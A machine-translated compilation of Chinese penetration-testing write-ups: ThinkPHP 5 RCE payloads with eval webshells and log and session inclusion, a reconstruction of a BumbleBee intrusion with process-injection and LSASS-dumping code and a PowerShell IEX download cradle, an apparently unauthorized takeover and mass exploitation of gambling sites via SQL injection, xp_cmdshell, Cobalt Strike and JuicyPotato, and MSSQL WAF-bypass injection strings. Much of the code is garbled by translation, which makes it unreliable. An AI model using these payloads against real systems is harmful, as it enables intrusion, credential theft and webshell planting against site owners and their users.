実行が成功し、disable_function 1049983-20220112164154456-2007761822.pngによって多くの機能が無効になっていることがわかりました

一般に、PHPバージョンが7.1未満の場合は、EXPを使用してシェルを書き込むだけです。この方法は、次のExpを直接使用してシェルを書き込むことです。

s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert

ただし、ASSTはこのEXPで使用されており、上記はPHPバージョンが7.1.33であることを示しています。このバージョンはアサートを使用できなくなるため、この方法はここでは使用できません。

上記の方法2はシェルを書き込むことはできませんが、phpinfoは実行されるため、RCEが存在します。そこで、ファイルを読んでデータベースアカウントのパスワードを読み取り、phpmyAdminを見つけてから、データベースを介してシェルを書き込むことができると思いました。

最初にPHPINFOの情報を介してWebサイトルートディレクトリを見つけ、次にScandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=path

1049983-20220112164154902-34241032.png

次に、highlight_file関数を介してファイルを読み取ります

_method=__ constructfilter []=highlight_filemethod=getGet []=ファイルパスを読み取ります

1049983-20220112164155347-2101104572.png

データベース情報を取得した後、私はphpmyadminが存在するかどうかを探しましたが、最終的にそうではないことがわかりました。そのため、この方法も失敗しました。

フォーラムでTP5のゲッシェル法を探して、多くのマスターは、ログやセッションを使用してメソッドを含めることができると言っていましたが、以前にそれらにさらされたことがなく、特定のものを知らなかったので、私はそれを検索して試しました。

方法3試行ログには含まれます

最初にシェルを書き、ログを入力します

_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?

次に、ログ包含によって逃げます

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();

1049983-20220112164155832-1130145507.png

失敗し、ログに含まれる方法は使用できません。

方法4セッションに含まれるメソッドを使用して、ゲルシェルを試してみてください

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1

1049983-20220112164156221-726893950.png

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();

1049983-20220112164156637-987300493.png

正常に実行され、Ant Sword 1049983-20220112164157063-1880914308.pngを介して接続します

成功GETSHELL 1049983-20220112164157485-516730089.png

WWW許可1049983-20220112164157850-189476530.png

メソッド5にシェルを手に入れましたが、逃げることができる他の方法があるかどうかをもう一度試しました。 execがdisable_functionで無効になっていないため、記事を見ました。その後、execを使用してVPSからシェルファイルをダウンロードしました。

そこで、disable_functionの無効な機能を注意深く調べました。偶然、私は幹部も無効になっていないことがわかったので、私はそれを試してみます

最初にVPSでtest.phpを作成し、pythonでポートを開きます

python -m simplehttpserver 8888

1049983-20220112164158129-1072450037.png

VPSからファイルをダウンロードします

s=wget vps/test.php_method=__ constructmethod=getFilter []=exec

1049983-20220112164158552-2141884864.png

ターゲットマシンに正常にダウンロードされました

0x03要約

1。ターゲットWebサイトパスに間違ったパスを入力すると、WebサイトのエラーページがThinkPhpであり、バージョンは表示されません。

2. TP5.xのRCE POCを入力して、PHPINFOが成功し、Disabled_Functionが多くの関数を無効にし、PHPバージョンは7.1.xバージョンであることを示します

http://www.xxx.com/index.php?s=captcha

Post:

_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo

3.次の方法では、シェルを直接取得できます(TP5.x+PHP7.1.x)

方法1 :( PHP要件はPHP7.1よりも低い)

http://www.xxx.com/index.php?s=captcha

Post:

s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert(

方法2:(TP5.x+php7.1.x)

まず、PHPINFOの情報を介してWebサイトルートディレクトリを見つけてから、Scandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます

_method=__ constructmethod=getfilter=call_user_funcget []=phpinfo //ウェブサイトディレクトリは/www/wwwroot/idj/、およびディレクトリトラバーサルをWebサイト構成ルートディレクトリ(/www/wwwroot/wwwroot/conf)から取得します。

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/idj/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/

_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/conf

次に、highlight_file関数を介してファイルを読み取り、データベースの接続ユーザー名とパスワードを読み取ります

_method=__ constructfilter []=highlight_filemethod=getGet []=/www/wwwroot/data/data/conf/database.php

ウェブサイトにphpmyAdminがあることがわかった場合は、データベースユーザーとパスワードを介して入力して、mysqlログを介してシェルに書き込むことができます

方法3:(TP5.x+php7.1.x、ログには含まれています)

最初にシェルを書き、ログを入力します

_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?

次に、ログ包含によって逃げます

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();

方法4:(TP5.x + php7.1.x、セッションに含まれる方法を使用してください。

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)

_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();

方法4:(TP5.X+PHP7.1.x、無効なexec関数はdisable_functionで使用されません)

最初にVPSでtest.phpを作成し、pythonでポートを開きます

python -m simplehttpserver 8888

VPSからファイルをダウンロードします

s=wget http://www.vps.com/test.php_method=__constructmethod=getfilter []=exec

オリジナルリンク:https://xz.aliyun.com/t/10397

0はじめに

実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。

《BumbleBee Roasts Its Way To Domain Admin》元のリンク

1日1(1日)

1.1サンプル配信

メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。

c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob

115uaelhnd13491.png

1.1.1 rundll32分析

rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。

Exploit/Windows/SMB/SMB_Deliveryを使用します

SRVHOST 10.X.X.Xを設定します

エクスプロイト

1qblzisafbs3492.png

qdlojni4k1b3493.png

1.2悪意のあるプログラムのロードバンブルビー

ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。

c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding

vb5ffd4fz1w3494.png

wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。

bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){

hprocess=nullを処理します。

dword dwsize=0;

lpvoid pdlladdr=null;

farproc pfuncprocaddr=null;

hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します

dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します

PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//

:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます

pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します

ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する

:CloseHandle(hprocess);

trueを返します。

}

1.3ホスト情報を収集した

攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。

IPCONFIG /ドメインを含むすべての#Getネットワーク情報

ping -n 1 [domain] #testドメイン接続

ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー

nslookup x.x.x.x#get x.x.x IPアドレス

タスクリスト#getプロセス情報

SystemInfo #getシステム情報

WMIC製品は、名前、バージョン#ソフトウェア情報を取得します

wmic /node'ledactedプロセスリストブリーフ#getプロセス情報

ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ

dir \\ redacted \ c $ \ #column cディスクディレクトリ

TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します

正味使用

ネットグループ「ドメインコンピューター」 /ドメイン

ネットグループ「エンタープライズ管理者」 /ドメイン

ネットグループ「ドメインコンピューター」 /ドメイン

ネットローカルグループ管理者

nltest /dclist

nltest /domain_trusts

ping -n 1 remote_ip

上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。

1.4サーバーに水平に移動し、情報を収集し続ける

元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):

cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c af.exe -sc trustdump trustdump.txt

cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt

2日目(2日目)

2.1サーバーに関する情報を収集し続けます

攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。

3日目(4日目)

3.1充電されたホストに関する情報を収集し続けます

攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

3.1.1 VulnReCon分析

Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。

#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb

#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb

# 指示

Vulnrecon.exe -V

vulnrecon.exe -o

vulnrecon.exe -findvulnerability

Vulnrecon.exe -i

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt

cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt

vqscoyzduhf3495.png

31sjolt4qd03496.png

dmmjtvxsdoc3497.png

電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。

### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。

c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp

4日目(7日目)

4.1充電されたサーバーに関する情報を収集し続けます

攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。

seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'

vulnrecon.exe -o

Vulnrecon.exe -V

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

5日目(11日目)

5.1充電されたホストにシェルをバウンスします

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8

#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります

5.1.1 Kerberosting攻撃分析

KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。

p0mrnvfyfzv3498.png

5.2資格抽出にMinidumpを使用

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full

5.2.1ミニダンプ分析

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#include stdio.h

#include windows.h

#include tlhelp32.h

typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);

int getlsasspid(){

ProcessEntry32エントリ;

entry.dwsize=sizeof(processentry32);

hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);

if(process32first(hsnapshot、entry)){

while(process32next(hsnapshot、entry)){

if(wcscmp(entry.szexefile、l'lsass.exe ')==0){

return entry.th32processid;

}

}

}

CloseHandle(hsnapshot);

0を返します。

}

void getdebugprivilege()

{

bool fok=false;

htokenを処理します。

if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))

{

token_privileges tp;

tp.privilegecount=1;

lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);

tp.privileges [0] .attributes=true? se_privilege_enabled : 0;

調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);

fok=(getLasterRor()==error_success);

CloseHandle(htoken);

}

}

void dumplsass()

{

wchar_t ws [100];

_minidumpw minidumpw;

minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');

swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');

getDebugprivilege();

Minidumpw(0、0、WS);

}

bool apientry dllmain(hmodule hmodule、

dword ul_reason_for_call、

lpvoid lpresived

))

{

switch(ul_reason_for_call)

{

ケースdll_process_attach:

dumplsass();

壊す;

ケースdll_thread_attach:

ケースdll_thread_detach:

ケースdll_process_detach:

壊す;

}

trueを返します。

}

私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。

23ri42kloo03499.png

コンパイルと使用の参照

5.3充電されたホストの情報収集を続けます

Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

5.4最初の充電されたマシンでPowerShellを再度実行します。

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

上記のプロセスは5.1で詳細に説明されており、繰り返されません。

5.5その他のマシンに関する情報収集

その他のマシンで次のコマンドを実行します。

c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン

c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて

c: \ windows \ system32 \ cmd.exe /c hoami

c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all

c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ

c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン

c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]

5.6 2つのバッチスクリプト

攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。

#s.bat

エコーオフ

for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log

#W.BAT

@ECHOオフ

for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log

5.7 last

2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます

元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html

0x00序文

私たちの小さなチームは、偶然に発見されたBCサイトに浸透しました。最初から、SQLMAPのみがエコーなしで、オンラインでCSにリバウンドし、MSFと協力するプロセスに、汚れたジャガイモの権利をアップグレードするプロセス、システムの許可を取得し、浸透プロセスを共有および記録するプロセスに

0x01ログインボックスSQLインジェクション

ログインボックスについて何も言うことがないことがわかりました。最初にsqlmapシャトルを試してみてください

图片

Burp Packet CaptureLoginリクエスト、ファイルに保存して直接実行して試してみてください

Python3 sqlmap.py -r '2.txt'には、盲目およびスタックインジェクションがあります

图片

SQLMapを使用してシェルを取得できるかどうかを確認してください

python3 sqlmap.py -r '2.txt' -os -shell視覚的に失敗しました

图片

プロンプトは、XP_CMDSHELLが有効になっていないことです。以前にスキャンした後にスタックインジェクションがあったため、ストアドプロシージャを使用してXP_CMDSHELLを開きます。

Payload:

usernamame=admin '; exec sp_configure' show dibanced options '、1; reconfigure; exec sp_configure'xp_cmdshell'、1; reconfigure; await for delay '0:0:15' - password=123 delay 15秒、実行は、それぞれの声明があります。理論的には同じです)

图片

ちなみに、XP_CMDSHELLを使用してユーザーの権利を追加してペイロードを作成してみてください(パスワードを簡単に設定してはならないことに注意してください。Windowsシステムにはパスワードの強度の要件があるようですが、パスワードが簡単すぎる場合、失敗する可能性があります)

username=admin '; exec xp_cmdshell' net user cmdshellテストzjz0eruwpcxrsgg8e3hl /add '; exec master.xp_cmdshell' net localgroup管理者テスト /add '; wait for delay' 0:0:15 '-password=123nmap scan=123nmam接続

接続されていません

图片

もう一度OS-Shellを実行して、絶対パスを実行できることを見つけます。これは良い兆候です

图片

シェルを正常にポップアップしました

图片

それは盲目のメモなので、私はhoamiなどのコマンドをエコーしなかったので、CSのシェルコードを直接使用しました

图片

图片

生成されたシェルコードはOSシェルに直接貼り付けられ、車に戻ります

图片

その後、CSはオンラインになり、すぐになりました。急いで、道徳的で道徳的ではない数人の若者に電話をかけてカードをプレイするために電話してください

0x02情報収集

タスクリスト、プロセスを確認してください、Alibaba Cloud Shieldで行うのは少し難しいです

图片

SystemInfoそこにあるものを見てください

Alibaba Cloudのサーバー、Windows Server 2008 R2のバージョンには75のパッチがあります

图片

おっと、データベースの電力が削減されており、サービス許可が非常に低いと推定されています

图片

MS-16-032からEXPをアップロードしてみてください、そしてアップロードが直接失敗しました

图片

この時点で、CSの役割は非常に限られています。 CSはただの喜びであり、MSFに依存します。

0x03 FRPを使用してCSサーバーを使用してMSF攻撃をリンクします

CSでリスナーを開きます

图片

FRPの構成ファイルを変更します

图片

構成ファイルを保存した後、FRPフォルダーでFRPを開始します

./FRPC -C FRPC.INI 图片

MSFをオンにして、監視を有効にします

Exploit/Multi/Handlerset Payload Windows/Reverse_httpset lhost 127.0.0.1Set LPort 9996runを使用する

图片

CSに戻り、右クリックしてホストを選択し、セッションを追加します

图片

作成したリスナーを選択して、選択します

图片

MSFに戻ると、セッションは非常に迅速に跳ね返りました

图片

シェルに行き、見てみましょう。実際、CSのビーコンを引き継ぎましたが、まだ許可が低い

图片

0x04腐ったポテトexpをExp

にアップロードします

腐ったジャガイモをローカルで準備します(Windowsパスにさらにスラッシュを追加することに注意してください。ただし、いくつかのマシンを試した後、追加の成功率が高いことがわかりました。

upload/root/exp/juicypotato/potato.exe c: \\ users \\ public 图片

CSはターゲットマシンのファイルをめくって、それが正常にアップロードされたことを発見しました

图片

次に、ターゲットマシンのフォルダーを入力して、権利のエスカレーションの準備を開始します

CD C: \\ users \\ publicuse incognitoexecute -ch -f ./potato.exelist_tokens -uコピー管理者のトークンImpersonate_token 'Administrator' 图片

最後に、エスカレーションが成功しているかどうかを確認します

图片

0x05ミミカッツクロールパスワードハッシュ

最初に権利を上げます

GetSystem 图片

直接ダンプしてみてください

图片

いいえ、ミミカッツを使用する必要があります

ミミカッツとクロールパスワードハッシュをロードします

mimikatz_command -f samdump:3360hashes 图片

MSFに付属のモジュールを使用することもできます(これはMimikatzよりも少し遅いです)

POST/Windows/gracking/smart_hashdump 图片を実行します

次に、CMD5に投げて復号化します。パスワードが弱い場合は、アカウントのパスワードをアンインストールできます。今回は、あなたは幸運です。パスワードが弱いです。パスワードを直接アンインストールできます。その後、MSTSC.EXEはデスクトップで直接接続され、正常に起動されます。

图片

0x06情報収集は攻撃範囲を拡張します

ターゲットの最高の許可を正常に取得した後、情報収集を通じて他の同様のサイトを取得してバッチ攻撃を実行してください。

@Crow MasterはWebサイトのCMS機能を抽出し、バッチでスキャンするFOFAスクリプトを書き、最終的に1900以上のサイトを入手しました。

图片

ただし、BCステーションはしばしば場所を撮影して変更するため、これらのドメイン名のほとんどは利用できないことが多いため、ドメイン名の生存状態を再度確認する必要があります。スクリプトを使用して、最後のステップは、100を超える生存するドメイン名を取得することです。

图片

スクリプトを使用してバッチ内の脆弱なURLにアクセスする場合、生成されたリクエストを使用して、マルチスレッドスクリプトを使用してこの要求を開始するリクエストを開始するリクエストを実行します

python3 sqlmap.py -r '{0}' - dbms='microsoft sql server' - batch-s-shellは、最終的にOS-Shellをポップアップして手動で挿入するホストを取得し、最終的に多数のオンラインホストを取得します

图片

0x07舞台裏に移動して

にアクセスします

データベースにある管理者アカウントパスワードを使用して、Webサイトの背景にログインして見てみましょう

20人が800,000以上を充電しました

图片

图片

图片

「Bright Future」と呼ばれる人々のゲームアカウントもありますが、オンラインギャンブルが自分の未来を破壊していることを知りません!

图片

私は皆にギャンブルから離れることを勧めます、そして、私は閉じ込められているギャンブラーが戻ってくることを願っています!

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzi3nja4mjmymw==mid=2647772541Idx=1SN=646E732C96521E0D4D9D109426C4DC4DCHK SM=F35F9681C4281F97B4C46CD95F858DC90481706A6DB607FCFD6596A15745CA10C88BA83E0E9FSCENE=21#wechat_redirect

このテストは承認されたテストです。インジェクションポイントがバックグラウンドでログインするユーザー名は1049983-20220119230323513-1792880900.pngです

検証コードが存在し、検証はCookieを削除し、検証コードフィールド1049983-20220119230324012-211512998.png 1049983-20220119230324458-401317242.pngを削除することでバイパスできます。

単一の引用を追加し、エラー1049983-20220119230325019-891661708.pngを報告します

および '1'='1

接続リセット——は、WAF 1049983-20220119230325526-1849947822.pngによって傍受されます

ケースを変更して、スペースをMSSQLホワイトスペースに置き換えます[0x00-0x20]

%1と%1E'1 '=' 1

1049983-20220119230326046-384574200.png

クエリデータベースバージョン、MSSQL 2012 X64

%1EOR%1E1=@@バージョン%1E--

1049983-20220119230326573-700972169.png

現在のユーザーをクエリします

%1EOR%1E1=user%1E--

1049983-20220119230327082-370238786.png

現在のユーザーがDBAおよびDB_OWNERであるかどうかをクエリします

; if(0=(select%1eis_srvrolemember( 'sysadmin')))waitfor%1edelay%1e'0:033605 '%1e--

; if(0=(select%1eis_srvrolemember( 'db_owner'))))

どちらも遅延があり、現在のユーザーはDBAまたはDB_OWNER 1049983-20220119230327604-2105801106.pngでもありません

XP_CMDSEHLLを実行してみてください。関連する権限はありません

; exec%1esp_configure%1e'show Advanced options '、1; reconfigure%1e-

; exec%1esp_configure%1e'xp_cmdshell '、1; reconfigure%1e-

1049983-20220119230328132-520648582.png 1049983-20220119230328579-1752454191.png

現在のデータベースを照会し、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(DB_NAME()%1E)%1E--

1049983-20220119230329110-639809469.png

関数名の文字を削除し、——WAFを返すことは通常、関数db_name()をフィルターします。 MSSQLとMSQLには、次のようないくつかの同様の機能があります。関数名とブラケットには、コメントやWhitespace文字で満たすことができます。

%1EOR%1E1=(DB_NAME/**/()%1E)%1E--

1049983-20220119230329676-1494737359.png 1049983-20220119230330157-1707607635.png

現在のデータベースのテーブルをクエリすると、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(%1EINFORMATION_SCHEMA.TABLES%1E)%1E)from%1EOP%1E1%1ETABLE_NAME

1049983-20220119230330645-644931403.png

選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コメントを使用してコンマをコメントアウトできます。

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

まだ1049983-20220119230331164-1008694086.pngを傍受しました

Information_schema.tablesの文字を削除して、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 information_schem.tables -information_schem%0f。%0ftables

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

1049983-20220119230331689-857136990.png

テーブル名は、not in( 'table_1'、 'table_2' .)1049983-20220119230332232-445750851.pngで通過できます。

手動注入はこの方法を使用するには遅すぎます、すべてのテーブル名を一度にクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename(name)%1Efrom Bak_ptfl%0f.Sysobjects%

1049983-20220119230332834-614520212.png

テーブル名から判断すると、管理者のテーブルはappsadminである必要があり、テーブルのすべての列を一度にクエリする必要があります。

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

1049983-20220119230333363-1730830597.png

管理者のユーザー名とパスワードフィールドを取得します:adminname、パスワード。ユーザー名とパスワードをクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E-

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E--

1049983-20220119230333895-1353679920.png 1049983-20220119230334443-1048969040.png

